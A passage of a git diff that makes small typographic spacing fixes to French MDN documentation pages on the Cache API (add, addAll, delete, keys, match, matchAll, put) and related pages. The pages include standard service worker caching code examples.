'#dom-windowbase64-btoa', 'WindowBase64.btoa()')}} | {{Spec2('HTML5.1')}} | Instantané de {{SpecName("HTML WHATWG")}}. Pas de changement. | -| {{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}} | {{Spec2('HTML5 W3C')}} | Instantané de {{SpecName("HTML WHATWG")}}. Création de `WindowBase64` (les propriétés se trouvaient sur la cible avant cela). | +| {{SpecName("HTML5 W3C", "#dom-windowbase64-btoa", "WindowBase64.btoa()")}} | {{Spec2('HTML5 W3C')}} | Instantané de {{SpecName("HTML WHATWG")}}. Création de `WindowBase64` (les propriétés se trouvaient sur la cible avant cela). | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/cache/add/index.md b/files/fr/web/api/cache/add/index.md index bb85f96fbb..fa09e9119d 100644 --- a/files/fr/web/api/cache/add/index.md +++ b/files/fr/web/api/cache/add/index.md @@ -15,7 +15,7 @@ translation_of: Web/API/Cache/add --- {{APIRef("Service Workers API")}}{{SeeCompatTable}} -La méthode **`add()`** de l'interface {{domxref("Cache")}} accepte une URL, la récupère, et ajoute l'objet réponse qui en résulte dans le cache. La méthode `add()` est équivalent au code suivant : +La méthode **`add()`** de l'interface {{domxref("Cache")}} accepte une URL, la récupère, et ajoute l'objet réponse qui en résulte dans le cache. La méthode `add()` est équivalent au code suivant : ```js fetch(url).then(function(response) { @@ -26,9 +26,9 @@ fetch(url).then(function(response) { }) ``` -Pour des opérations plus complexes, il faut utiliser {{domxref("Cache.put","Cache.put()")}} directement. +Pour des opérations plus complexes, il faut utiliser {{domxref("Cache.put","Cache.put()")}} directement. -> **Note :** `add()` écrasera toute paire clé/valeur précedemment stockée en cache et qui correspond à la requête. +> **Note :** `add()` écrasera toute paire clé/valeur précedemment stockée en cache et qui correspond à la requête. ## Syntaxe @@ -41,11 +41,11 @@ cache.add(request).then(function() { ### Paramètres - request - - : La requête à mettre en cache. Ce paramètre peut être un objet {{domxref("Request", "Requête")}} ou une URL. + - : La requête à mettre en cache. Ce paramètre peut être un objet {{domxref("Request", "Requête")}} ou une URL. ### Retour -Une {{jsxref("Promise", "Promesse")}} qui est résolue en void. +Une {{jsxref("Promise", "Promesse")}} qui est résolue en void. ### Exceptions @@ -61,12 +61,12 @@ Une {{jsxref("Promise", "Promesse")}} qui est résolue en void. <td><code>TypeError</code></td> <td> <p> - Le schéma d'URL n'est pas <code>http</code> ou <code>https</code>. + Le schéma d'URL n'est pas <code>http</code> ou <code>https</code>. </p> <p> - Le statut de la réponse n'est pas dans les 200 (i.e., une requête qui + Le statut de la réponse n'est pas dans les 200 (i.e., une requête qui a échoué.) Cela peut arriver si la requête échoue, mais également si - la requête est une <em>cross-origin no-cors</em> (auquel cas le statut + la requête est une <em>cross-origin no-cors</em> (auquel cas le statut retourné est systématiquement 0.) </p> </td> @@ -76,7 +76,7 @@ Une {{jsxref("Promise", "Promesse")}} qui est résolue en void. ## Exemples -Ce bloc de code attends le déclenchement d'un {{domxref("InstallEvent")}}, puis lance {{domxref("ExtendableEvent.waitUntil","waitUntil")}} qui gère la phase d'installation de l'application. Cela consite à appeler {{domxref("CacheStorage.open")}} afin de créer un nouveau cache, puis à utiliser {{domxref("Cache.add")}} pour y ajouter des ressources. +Ce bloc de code attends le déclenchement d'un {{domxref("InstallEvent")}}, puis lance {{domxref("ExtendableEvent.waitUntil","waitUntil")}} qui gère la phase d'installation de l'application. Cela consite à appeler {{domxref("CacheStorage.open")}} afin de créer un nouveau cache, puis à utiliser {{domxref("Cache.add")}} pour y ajouter des ressources. ```js this.addEventListener('install', function(event) { @@ -100,6 +100,6 @@ this.addEventListener('install', function(event) { ## Voir aussi -- [Utiliser les Service Workers](/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers) +- [Utiliser les Service Workers](/fr/docs/Web/API/Service_Worker_API/Using_Service_Workers) - {{domxref("Cache")}} - {{domxref("WorkerGlobalScope.caches")}} diff --git a/files/fr/web/api/cache/addall/index.md b/files/fr/web/api/cache/addall/index.md index 8a666d32cb..eb2a10faa3 100644 --- a/files/fr/web/api/cache/addall/index.md +++ b/files/fr/web/api/cache/addall/index.md @@ -15,7 +15,7 @@ translation_of: Web/API/Cache/addAll --- {{APIRef("Service Workers API")}}{{SeeCompatTable}} -La méthode **`addAll()`** de l'interface {{domxref("Cache")}} accepte un tableau d'URLS, les récupères, et ajoute les objets réponse qui en résultent au cache en question. Les objets requêtes crées pendant la phase de récupération deviennent des clés vers les opérations de réponse stockées. +La méthode **`addAll()`** de l'interface {{domxref("Cache")}} accepte un tableau d'URLS, les récupères, et ajoute les objets réponse qui en résultent au cache en question. Les objets requêtes crées pendant la phase de récupération deviennent des clés vers les opérations de réponse stockées. > **Note :** `addAll()` écrasera toute paire clé/valeur précédemment stockée en cache et qui correspond à une requête, mais échouera si l'opération `put()` ainsi créée devrait engendrer l'effacement d'une entrée cache créée par la même méthode `addAll()`. @@ -30,11 +30,11 @@ cache.addAll(requests[]).then(function() { ### Paramètres - requests - - : Un tableau d'objets {{domxref("Request", "Requête")}} à ajouter au cache. + - : Un tableau d'objets {{domxref("Request", "Requête")}} à ajouter au cache. ### Retour -Une {{jsxref("Promise", "Promesse")}} qui est résolue en void. +Une {{jsxref("Promise", "Promesse")}} qui est résolue en void. ### Exceptions @@ -50,12 +50,12 @@ Une {{jsxref("Promise", "Promesse")}} qui est résolue en void. <td><code>TypeError</code></td> <td> <p> - Le schéma d'URL n'est pas <code>http</code> ou <code>https</code>. + Le schéma d'URL n'est pas <code>http</code> ou <code>https</code>. </p> <p> - Le statut de la réponse n'est pas dans les 200 (i.e., une requête qui + Le statut de la réponse n'est pas dans les 200 (i.e., une requête qui a échoué.) Cela peut arriver si la requête échoue, mais également si - la requête est une <em>cross-origin no-cors</em> (auquel cas le statut + la requête est une <em>cross-origin no-cors</em> (auquel cas le statut retourné est systématiquement 0.) </p> </td> @@ -65,7 +65,7 @@ Une {{jsxref("Promise", "Promesse")}} qui est résolue en void. ## **Exemples** -Ce bloc de code attends le déclenchement d'un {{domxref("InstallEvent")}}, puis lance {{domxref("ExtendableEvent.waitUntil","waitUntil")}} qui gère la phase d'installation de l'application. Cela consite à appeler {{domxref("CacheStorage.open")}} afin de créer un nouveau cache, puis à utiliser `addAll()` pour y ajouter une série de ressources. +Ce bloc de code attends le déclenchement d'un {{domxref("InstallEvent")}}, puis lance {{domxref("ExtendableEvent.waitUntil","waitUntil")}} qui gère la phase d'installation de l'application. Cela consite à appeler {{domxref("CacheStorage.open")}} afin de créer un nouveau cache, puis à utiliser `addAll()` pour y ajouter une série de ressources. ```js this.addEventListener('install', function(event) { diff --git a/files/fr/web/api/cache/delete/index.md b/files/fr/web/api/cache/delete/index.md index 1409dbfa4b..4df36f3506 100644 --- a/files/fr/web/api/cache/delete/index.md +++ b/files/fr/web/api/cache/delete/index.md @@ -14,7 +14,7 @@ translation_of: Web/API/Cache/delete --- {{APIRef("Service Workers API")}}{{SeeCompatTable}} -La méthode **`delete()`** de l'interface {{domxref("Cache")}} cherche l'entrée {{domxref("Cache")}} dont la clé est la requête passée en argument, et retourne une {{jsxref("Promise", "Promesse")}}. Si une entrée {{domxref("Cache")}} est trouvée, elle est supprimée, et la promesse est résolue à `true`. Dans le cas contraire, la promesse est résolue à `false`. +La méthode **`delete()`** de l'interface {{domxref("Cache")}} cherche l'entrée {{domxref("Cache")}} dont la clé est la requête passée en argument, et retourne une {{jsxref("Promise", "Promesse")}}. Si une entrée {{domxref("Cache")}} est trouvée, elle est supprimée, et la promesse est résolue à `true`. Dans le cas contraire, la promesse est résolue à `false`. ## Syntaxe @@ -30,22 +30,22 @@ cache.delete(request,{options}).then(function(true) { - : La {{domxref("Request", "Requête")}} à supprimer. - options {{optional_inline}} - - : Un objet dont les paramètres contrôlent comment le matching est effectué lors de l'opération de `delete`. Les options disponibles sont : + - : Un objet dont les paramètres contrôlent comment le matching est effectué lors de l'opération de `delete`. Les options disponibles sont : - - `ignoreSearch`: Un {{domxref("Boolean")}} qui spécifie si le matching doit ignorer ou non la query string dans l'url. Si mis à `true`, la partie `?value=bar` de l'url `http://foo.com/?value=bar` sera ignorée lors du matching. Est à `false` par défaut. - - `ignoreMethod`: Un {{domxref("Boolean")}} qui, quand mis à `true`, empêche les opérations de matching de valider la méthode `HTTP` de la {{domxref("Request", "Requête")}} (en temps normal, seules `GET` et `HEAD` sont autorisées.) Est à `false` par défaut. - - `ignoreVary`: Un {{domxref("Boolean")}} qui, quand mis à `true,` indique à l'opération de matching de ne pas effectuer le matching `VARY` des header. En d'autres termes, si l'URL correspond, un match sera obtenu peu importe que la {{domxref("Response", "Réponse")}} ait un header `VARY` ou non. Est à `false` par défaut. - - `cacheName`: Une {{domxref("DOMString")}} qui représente un cache spécifique où effectuer la recherche. A noter que cette option est ignorée par `Cache.delete()`. + - `ignoreSearch`: Un {{domxref("Boolean")}} qui spécifie si le matching doit ignorer ou non la query string dans l'url. Si mis à `true`, la partie `?value=bar` de l'url `http://foo.com/?value=bar` sera ignorée lors du matching. Est à `false` par défaut. + - `ignoreMethod`: Un {{domxref("Boolean")}} qui, quand mis à `true`, empêche les opérations de matching de valider la méthode `HTTP` de la {{domxref("Request", "Requête")}} (en temps normal, seules `GET` et `HEAD` sont autorisées.) Est à `false` par défaut. + - `ignoreVary`: Un {{domxref("Boolean")}} qui, quand mis à `true,` indique à l'opération de matching de ne pas effectuer le matching `VARY` des header. En d'autres termes, si l'URL correspond, un match sera obtenu peu importe que la {{domxref("Response", "Réponse")}} ait un header `VARY` ou non. Est à `false` par défaut. + - `cacheName`: Une {{domxref("DOMString")}} qui représente un cache spécifique où effectuer la recherche. A noter que cette option est ignorée par `Cache.delete()`. ### Retour -Une {{jsxref("Promise", "Promesse")}} qui est résolue à `true` si l'entrée de cache est supprimée, ou à `false` dans le cas contraire. +Une {{jsxref("Promise", "Promesse")}} qui est résolue à `true` si l'entrée de cache est supprimée, ou à `false` dans le cas contraire. ## Exemples ```js caches.open('v1').then(function(cache) { - cache.delete('/images/image.png').then(function(response) { + cache.delete('/images/image.png').then(function(response) { someUIUpdateFunction(); }); }) diff --git a/files/fr/web/api/cache/index.md b/files/fr/web/api/cache/index.md index b53c794c91..a0b3412313 100644 --- a/files/fr/web/api/cache/index.md +++ b/files/fr/web/api/cache/index.md @@ -34,7 +34,7 @@ Vous êtes également responsable de la purge périodique des entrées du cache. - {{domxref("Cache.matchAll", "Cache.matchAll(request, options)")}} {{experimental_inline}} - : Retourne une {{jsxref("Promise" , "Promesse" )}} qui se résout en un tableau de toutes les requêtes correspondantes dans l'objet {{domxref("Cache")}}. - {{domxref("Cache.add", "Cache.add(request)")}} {{experimental_inline}} - - : Prend une URL, la récupère et ajoute l'objet réponse associé au cache donné. C'est une fonctionnalité équivalente à l'appel de fetch(), puis à l'utilisation de Cache.put() pour ajouter les résultats au cache. + - : Prend une URL, la récupère et ajoute l'objet réponse associé au cache donné. C'est une fonctionnalité équivalente à l'appel de fetch(), puis à l'utilisation de Cache.put() pour ajouter les résultats au cache. - {{domxref("Cache.addAll", "Cache.addAll(requests)")}} {{experimental_inline}} - : Prend un tableau d'URLs, les récupère, et ajoute les objets réponses associés au cache donné. - {{domxref("Cache.put", "Cache.put(request, response)")}} {{experimental_inline}} @@ -52,9 +52,9 @@ Le code utilise alors {{domxref("Cache.match", "Cache.match(request, options)")} Le code gère les exceptions déclenchées par l'opération de {{domxref("Globalfetch.fetch","fetch()")}}. A noter qu'une réponse HTTP en erreur (e.g., 404) ne déclenchera pas une exception. Elle retournera un objet de réponse normal qui dispose du code d'erreur approprié. -Cet extrait de code illustre également une bonne pratique pour versionner les caches utilisés par le service worker. Bien qu'il y ait seulement un cache dans cet exemple, la même approche peut être utilisée pour des caches multiples. Il associe un identifiant court avec un nom de cache versionné et spécifique. Le code supprime aussi tous les caches qui ne sont pas nommés dans `CURRENT_CACHES`. +Cet extrait de code illustre également une bonne pratique pour versionner les caches utilisés par le service worker. Bien qu'il y ait seulement un cache dans cet exemple, la même approche peut être utilisée pour des caches multiples. Il associe un identifiant court avec un nom de cache versionné et spécifique. Le code supprime aussi tous les caches qui ne sont pas nommés dans `CURRENT_CACHES`. -> **Note :** In Chrome, visit chrome://inspect/#service-workers and click on the "inspect" link below the registered service worker to view logging statements for the various actions the [service-worker.js](https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/selective-caching/service-worker.js) script is performing. +> **Note :** In Chrome, visit chrome://inspect/#service-workers and click on the "inspect" link below the registered service worker to view logging statements for the various actions the [service-worker.js](https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/selective-caching/service-worker.js) script is performing. ```js var CACHE_VERSION = 1; diff --git a/files/fr/web/api/cache/keys/index.md b/files/fr/web/api/cache/keys/index.md index 617e1aa4e7..dc647de935 100644 --- a/files/fr/web/api/cache/keys/index.md +++ b/files/fr/web/api/cache/keys/index.md @@ -14,11 +14,11 @@ translation_of: Web/API/Cache/keys --- {{APIRef("Service Workers API")}}{{SeeCompatTable}} -La méthode **`keys()`** de l'interface {{domxref("Cache")}} retourne une {{jsxref("Promise", "Promesse")}} qui est résolue en un tableau de clé de {{domxref("Cache")}}. +La méthode **`keys()`** de l'interface {{domxref("Cache")}} retourne une {{jsxref("Promise", "Promesse")}} qui est résolue en un tableau de clé de {{domxref("Cache")}}. Les requêtes sont retournées dans le même ordre que l'ordre d'insertion. -> **Note :** Les requêtes avec des URLs déjà présentes mais des headers différents peuvent être retournées si leurs réponses comportent le header `VARY`. +> **Note :** Les requêtes avec des URLs déjà présentes mais des headers différents peuvent être retournées si leurs réponses comportent le header `VARY`. ## Syntaxe @@ -34,16 +34,16 @@ cache.keys(request,{options}).then(function(response) { - : La {{domxref("Request", "Requête")}} à retourner, si une clé en particulier est désirée. - options {{optional_inline}} - - : Un objet dont les paramètres contrôlent comment le matching est effectué lors de l'opération `keys`. Les options disponibles sont : + - : Un objet dont les paramètres contrôlent comment le matching est effectué lors de l'opération `keys`. Les options disponibles sont : - - `ignoreSearch`: Un {{domxref("Boolean")}} qui spécifie si le matching doit ignorer ou non la query string dans l'url. Si mis à `true`, la partie `?value=bar` de l'url `http://foo.com/?value=bar` sera ignorée lors du matching. Est à `false` par défaut. - - `ignoreMethod`: Un {{domxref("Boolean")}} qui, quand mis à `true`, empêche les opérations de matching de valider la méthode `HTTP` de la {{domxref("Request", "Requête")}} (en temps normal, seules `GET` et `HEAD` sont autorisées). Est à `false` par défaut. - - `ignoreVary`: Un {{domxref("Boolean")}} qui, quand mis à `true,` indique à l'opération de matching de ne pas effectuer le matching `VARY` des header. En d'autres termes, si l'URL correspond, un match sera obtenu peu importe que la {{domxref("Response", "Réponse")}} ait un header `VARY` ou non. Est à `false` par défaut. - - `cacheName`: Une {{domxref("DOMString")}} qui représente un cache spécifique où effectuer la recherche. A noter que cette option est ignorée par `Cache.keys()`. + - `ignoreSearch`: Un {{domxref("Boolean")}} qui spécifie si le matching doit ignorer ou non la query string dans l'url. Si mis à `true`, la partie `?value=bar` de l'url `http://foo.com/?value=bar` sera ignorée lors du matching. Est à `false` par défaut. + - `ignoreMethod`: Un {{domxref("Boolean")}} qui, quand mis à `true`, empêche les opérations de matching de valider la méthode `HTTP` de la {{domxref("Request", "Requête")}} (en temps normal, seules `GET` et `HEAD` sont autorisées). Est à `false` par défaut. + - `ignoreVary`: Un {{domxref("Boolean")}} qui, quand mis à `true,` indique à l'opération de matching de ne pas effectuer le matching `VARY` des header. En d'autres termes, si l'URL correspond, un match sera obtenu peu importe que la {{domxref("Response", "Réponse")}} ait un header `VARY` ou non. Est à `false` par défaut. + - `cacheName`: Une {{domxref("DOMString")}} qui représente un cache spécifique où effectuer la recherche. A noter que cette option est ignorée par `Cache.keys()`. ### Retour -Une {{jsxref("Promise", "Promesse")}} qui est résolue en un tableau de clé de {{domxref("Cache")}}. +Une {{jsxref("Promise", "Promesse")}} qui est résolue en un tableau de clé de {{domxref("Cache")}}. ## Exemples diff --git a/files/fr/web/api/cache/match/index.md b/files/fr/web/api/cache/match/index.md index 592ec9f804..d1e360a09b 100644 --- a/files/fr/web/api/cache/match/index.md +++ b/files/fr/web/api/cache/match/index.md @@ -15,7 +15,7 @@ translation_of: Web/API/Cache/match --- {{APIRef("Service Workers API")}}{{SeeCompatTable}} -La méthode **`match()`** de l'interface {{domxref("Cache")}} retourne une {{jsxref("Promise", "Promesse")}} qui est résolue en une {{domxref("Response", "Réponse")}} associée à la première requête qui match dans l'objet {{domxref("Cache")}}. Si aucune requête n'est trouvée, la {{jsxref("Promise", "Promesse")}} est résolue en {{jsxref("undefined")}}. +La méthode **`match()`** de l'interface {{domxref("Cache")}} retourne une {{jsxref("Promise", "Promesse")}} qui est résolue en une {{domxref("Response", "Réponse")}} associée à la première requête qui match dans l'objet {{domxref("Cache")}}. Si aucune requête n'est trouvée, la {{jsxref("Promise", "Promesse")}} est résolue en {{jsxref("undefined")}}. ## Syntaxe @@ -28,28 +28,28 @@ cache.match(request,{options}).then(function(response) { ### Paramètres - request - - : La {{domxref("Request")}} à trouver dans le {{domxref("Cache")}}. + - : La {{domxref("Request")}} à trouver dans le {{domxref("Cache")}}. - options {{optional_inline}} - : Un objet qui définit des options pour l'opération de `match`. Les options disponibles sont les suivantes : - - `ignoreSearch`: Un {{domxref("Boolean")}} qui spécifie si le matching doit ignorer ou non la query string dans l'url. Si mis à `true`, la partie `?value=bar` de l'url `http://foo.com/?value=bar` sera ignorée lors du matching. Est à `false` par défaut. - - `ignoreMethod`: Un {{domxref("Boolean")}} qui, quand mis à `true`, empêche les opérations de matching de valider la méthode `HTTP` de la {{domxref("Request", "Requête")}} (en temps normal, seules `GET` et `HEAD` sont autorisées.) Est à `false` par défaut. - - `ignoreVary`: Un {{domxref("Boolean")}} qui, quand mis à `true,` indique à l'opération de matching de ne pas effectuer le matching `VARY` des header. En d'autres termes, si l'URL correspond, un match sera obtenu peu importe que la {{domxref("Response", "Réponse")}} ait un header `VARY` ou non. Est à `false` par défaut. + - `ignoreSearch`: Un {{domxref("Boolean")}} qui spécifie si le matching doit ignorer ou non la query string dans l'url. Si mis à `true`, la partie `?value=bar` de l'url `http://foo.com/?value=bar` sera ignorée lors du matching. Est à `false` par défaut. + - `ignoreMethod`: Un {{domxref("Boolean")}} qui, quand mis à `true`, empêche les opérations de matching de valider la méthode `HTTP` de la {{domxref("Request", "Requête")}} (en temps normal, seules `GET` et `HEAD` sont autorisées.) Est à `false` par défaut. + - `ignoreVary`: Un {{domxref("Boolean")}} qui, quand mis à `true,` indique à l'opération de matching de ne pas effectuer le matching `VARY` des header. En d'autres termes, si l'URL correspond, un match sera obtenu peu importe que la {{domxref("Response", "Réponse")}} ait un header `VARY` ou non. Est à `false` par défaut. ### Retour -Une {{jsxref("Promise", "Promesse")}} qui est résolue en la première {{domxref("Response", "Réponse")}} qui match la requête, ou en {{jsxref("undefined")}} si aucune requête n'est trouvée. +Une {{jsxref("Promise", "Promesse")}} qui est résolue en la première {{domxref("Response", "Réponse")}} qui match la requête, ou en {{jsxref("undefined")}} si aucune requête n'est trouvée. -> **Note :** `Cache.match()` est quasiment identique à {{domxref("Cache.matchAll()")}}, si ce n'est qu'elle est résolue en `response[0]` (la première réponse qui matche) plutôt que `response[]` (un tableau de toutes les réponses qui matchent). +> **Note :** `Cache.match()` est quasiment identique à {{domxref("Cache.matchAll()")}}, si ce n'est qu'elle est résolue en `response[0]` (la première réponse qui matche) plutôt que `response[]` (un tableau de toutes les réponses qui matchent). ## Exemples Cet exemple est extrait de l'exemple [Page hors ligne custom](https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/custom-offline-page/service-worker.js) ([demo](https://googlechrome.github.io/samples/service-worker/custom-offline-page/index.html)). -L'exemple suivant se sert d'un cache pour fournir les données demandées même quand une requête échoue. Une clause `catch()` est déclenchée quand l'appel à `fetch()` lève une exception. A l'intérieur de la clause `catch()`, `match()` est utilisée to pour retourner la réponse appropriée. +L'exemple suivant se sert d'un cache pour fournir les données demandées même quand une requête échoue. Une clause `catch()` est déclenchée quand l'appel à `fetch()` lève une exception. A l'intérieur de la clause `catch()`, `match()` est utilisée to pour retourner la réponse appropriée. -Dans cet exemple, nous avons décidé que seul les documents HTML récupérés via le verbe HTTP GET seront mis en cache. Si notre condition `if()` est false, le gestionnaire fetch n'intercepte pas la requête. Si d'autres gestionnaires fetch sont enregistrés, ils ont une occasion d'appeler `event.respondWith()`. Si aucun gestionnaire fetch ne décide d'appeler `event.respondWith()`, la requête sera gérée par le navigateur comme si les service workers n'avaient pas existé. Si `fetch()` retourne une réponse HTTP valide avec un code réponse dans les 4xx ou 5xx, la clause `catch()` ne sera PAS appelée. +Dans cet exemple, nous avons décidé que seul les documents HTML récupérés via le verbe HTTP GET seront mis en cache. Si notre condition `if()` est false, le gestionnaire fetch n'intercepte pas la requête. Si d'autres gestionnaires fetch sont enregistrés, ils ont une occasion d'appeler `event.respondWith()`. Si aucun gestionnaire fetch ne décide d'appeler `event.respondWith()`, la requête sera gérée par le navigateur comme si les service workers n'avaient pas existé. Si `fetch()` retourne une réponse HTTP valide avec un code réponse dans les 4xx ou 5xx, la clause `catch()` ne sera PAS appelée. ```js self.addEventListener('fetch', function(event) { diff --git a/files/fr/web/api/cache/matchall/index.md b/files/fr/web/api/cache/matchall/index.md index 94f271b928..b1897ed646 100644 --- a/files/fr/web/api/cache/matchall/index.md +++ b/files/fr/web/api/cache/matchall/index.md @@ -15,7 +15,7 @@ translation_of: Web/API/Cache/matchAll --- {{APIRef("Service Workers API")}}{{SeeCompatTable}} -La méthode **`matchAll()`** de l'interface {{domxref("Cache")}} retourne une {{jsxref("Promise", "Promesse")}} qui est résolue en un tableau de toutes les requêtes qui matchent dans l'objet {{domxref("Cache")}}. +La méthode **`matchAll()`** de l'interface {{domxref("Cache")}} retourne une {{jsxref("Promise", "Promesse")}} qui est résolue en un tableau de toutes les requêtes qui matchent dans l'objet {{domxref("Cache")}}. ## Syntaxe @@ -33,15 +33,15 @@ cache.matchAll(request,{options}).then(function(response) { - : Un objet d'options vous permettant de définir des options de contrôle spécifiques pour la correspondance effectuée. Les options disponibles sont les suivantes : - - `ignoreSearch`: Un {{domxref("Boolean")}} qui spécifie si le matching doit ignorer ou non la query string dans l'url. Si mis à `true`, la partie `?value=bar` de l'url `http://foo.com/?value=bar` sera ignorée lors du matching. Est à `false` par défaut. - - `ignoreMethod`: Un {{domxref("Boolean")}} qui, quand mis à `true`, empêche les opérations de matching de valider la méthode `HTTP` de la {{domxref("Request", "Requête")}} (en temps normal, seules `GET` et `HEAD` sont autorisées.) Est à `false` par défaut. - - `ignoreVary`: Un {{domxref("Boolean")}} qui, quand mis à `true,` indique à l'opération de matching de ne pas effectuer le matching `VARY` des header. En d'autres termes, si l'URL correspond, un match sera obtenu peu importe que la {{domxref("Response", "Réponse")}} ait un header `VARY` ou non. Est à `false` par défaut. + - `ignoreSearch`: Un {{domxref("Boolean")}} qui spécifie si le matching doit ignorer ou non la query string dans l'url. Si mis à `true`, la partie `?value=bar` de l'url `http://foo.com/?value=bar` sera ignorée lors du matching. Est à `false` par défaut. + - `ignoreMethod`: Un {{domxref("Boolean")}} qui, quand mis à `true`, empêche les opérations de matching de valider la méthode `HTTP` de la {{domxref("Request", "Requête")}} (en temps normal, seules `GET` et `HEAD` sont autorisées.) Est à `false` par défaut. + - `ignoreVary`: Un {{domxref("Boolean")}} qui, quand mis à `true,` indique à l'opération de matching de ne pas effectuer le matching `VARY` des header. En d'autres termes, si l'URL correspond, un match sera obtenu peu importe que la {{domxref("Response", "Réponse")}} ait un header `VARY` ou non. Est à `false` par défaut. ### Retour -Une {{jsxref("Promise", "Promesse")}} qui est résolue en un tableau de toutes les requêtes qui matchent dans l'objet {{domxref("Cache")}}. +Une {{jsxref("Promise", "Promesse")}} qui est résolue en un tableau de toutes les requêtes qui matchent dans l'objet {{domxref("Cache")}}. -> **Note :** {{domxref("Cache.match()")}} est quasiment identique à [`Cache.matchAll()`](/fr/docs/Web/API/Cache/matchAll), si ce n'est qu'elle est résolue en `response[0]` (la première réponse qui matche) plutôt que `response[]` (un tableau de toutes les réponses qui matchent). +> **Note :** {{domxref("Cache.match()")}} est quasiment identique à [`Cache.matchAll()`](/fr/docs/Web/API/Cache/matchAll), si ce n'est qu'elle est résolue en `response[0]` (la première réponse qui matche) plutôt que `response[]` (un tableau de toutes les réponses qui matchent). ## Exemples diff --git a/files/fr/web/api/cache/put/index.md b/files/fr/web/api/cache/put/index.md index d99f8d8bb7..fdfd705454 100644 --- a/files/fr/web/api/cache/put/index.md +++ b/files/fr/web/api/cache/put/index.md @@ -15,24 +15,24 @@ translation_of: Web/API/Cache/put --- {{APIRef("Service Workers API")}}{{SeeCompatTable}} -La méthode **`put()`** de l'interface {{domxref("Cache")}} permet d'ajouter des paires clé/valeur à l'objet {{domxref("Cache")}} en cours. +La méthode **`put()`** de l'interface {{domxref("Cache")}} permet d'ajouter des paires clé/valeur à l'objet {{domxref("Cache")}} en cours. -Souvent, le comportement voulu est juste de {{domxref("WindowOrWorkerGlobalScope.fetch","fetch()")}} une ou plusieurs requête, et d'ajouter les résultats directement dans le cache. Dans ce type de cas, il est plus judicieux d'utiliser {{domxref("Cache.add","Cache.add()")}}/{{domxref("Cache.addAll","Cache.addAll()")}} , étant donné que ces méthodes sont des raccourcis pour une ou plusieurs de ces opérations : +Souvent, le comportement voulu est juste de {{domxref("WindowOrWorkerGlobalScope.fetch","fetch()")}} une ou plusieurs requête, et d'ajouter les résultats directement dans le cache. Dans ce type de cas, il est plus judicieux d'utiliser {{domxref("Cache.add","Cache.add()")}}/{{domxref("Cache.addAll","Cache.addAll()")}} , étant donné que ces méthodes sont des raccourcis pour une ou plusieurs de ces opérations : ```js fetch(url).then(function(response) { if (!response.ok) { throw new TypeError('Bad response status'); - } + } return cache.put(url, response); }) ``` -> **Note :** `put()` écrasera toute paire clé/valeur précedemment stockée en cache et qui correspond à la requête. +> **Note :** `put()` écrasera toute paire clé/valeur précedemment stockée en cache et qui correspond à la requête. -> **Note :** Les implémentations initiales de Cache (à la fois dans Blink et Gecko) résolvent les promesses {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, et {{domxref("Cache.put")}} quand le corps de la réponse est entièrement écrit en stockage. Les versions plus récentes des spécifications sont plus précises en déclarant que le navigateur peut résoudre ces promesses dès que l'entrée est enregistrée en base de donnée, même si le reste de la requête est encore en train d'arriver. +> **Note :** Les implémentations initiales de Cache (à la fois dans Blink et Gecko) résolvent les promesses {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, et {{domxref("Cache.put")}} quand le corps de la réponse est entièrement écrit en stockage. Les versions plus récentes des spécifications sont plus précises en déclarant que le navigateur peut résoudre ces promesses dès que l'entrée est enregistrée en base de donnée, même si le reste de la requête est encore en train d'arriver. -> **Note :** Depuis Chrome 46, l'API Cache ne stocke que les requêtes depuis des origines sécurisées, à savoir celles servies en HTTPS. +> **Note :** Depuis Chrome 46, l'API Cache ne stocke que les requêtes depuis des origines sécurisées, à savoir celles servies en HTTPS. ## Syntaxe @@ -53,28 +53,28 @@ cache.put(request, response).then(function() { Une {{jsxref("Promise", "Promesse")}} est retournée avec void. -> **Note :** La promesse sera rompue avec un `TypeError` si le schéma d'URL n'est pas `http` ou `https`. +> **Note :** La promesse sera rompue avec un `TypeError` si le schéma d'URL n'est pas `http` ou `https`. ## Exemples -Cet extrait de code est tiré du MDN [sw-test example](https://github.com/mdn/sw-test/) (lancez [sw-test dans votre navigateur](https://mdn.github.io/sw-test/)). On attend le déclenchement d'un {{domxref("FetchEvent")}}, puis l'on va retourner une réponse spéciale d'après la procédure suivante : +Cet extrait de code est tiré du MDN [sw-test example](https://github.com/mdn/sw-test/) (lancez [sw-test dans votre navigateur](https://mdn.github.io/sw-test/)). On attend le déclenchement d'un {{domxref("FetchEvent")}}, puis l'on va retourner une réponse spéciale d'après la procédure suivante : -1. Vérifier si un match pour la requête a été trouvé dans le {{domxref("CacheStorage")}} grâce à {{domxref("CacheStorage.match","CacheStorage.match()")}} . Si oui, servir cette réponse. -2. Sinon, ouvrir le cache `v1` avec `open()`, insérer la requête réseau par défaut dans le cache via {{domxref("Cache.put","Cache.put()")}} , et retourner un clone de cette requête avec `return response.clone()` — nécessaire car `put()` détruit le corps de la réponse. +1. Vérifier si un match pour la requête a été trouvé dans le {{domxref("CacheStorage")}} grâce à {{domxref("CacheStorage.match","CacheStorage.match()")}} . Si oui, servir cette réponse. +2. Sinon, ouvrir le cache `v1` avec `open()`, insérer la requête réseau par défaut dans le cache via {{domxref("Cache.put","Cache.put()")}} , et retourner un clone de cette requête avec `return response.clone()` — nécessaire car `put()` détruit le corps de la réponse. 3. En cas d'échec (e.g., car le réseau est inaccessible), retourner une réponse de secours. ```js var response; var cachedResponse = caches.match(event.request).catch(function() { - return fetch(event.request); + return fetch(event.request); }).then(function(r) { - response = r; - caches.open('v1').then(function(cache) { - cache.put(event.request, response); - }); - return response.clone(); + response = r; + caches.open('v1').then(function(cache) { + cache.put(event.request, response); + }); + return response.clone(); }).catch(function() { - return caches.match('/sw-test/gallery/myLittleVader.jpg'); + return caches.match('/sw-test/gallery/myLittleVader.jpg'); }); ``` diff --git a/files/fr/web/api/caches/index.md b/files/fr/web/api/caches/index.md index abfb9936b2..a593d7c422 100644 --- a/files/fr/web/api/caches/index.md +++ b/files/fr/web/api/caches/index.md @@ -6,7 +6,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/caches --- {{APIRef()}}{{SeeCompatTable}} -La propriété en lecture seule **`caches`** de l'interface {{domxref("WindowOrWorkerGlobalScope")}} retourne l'objet {{domxref("CacheStorage")}} associé au 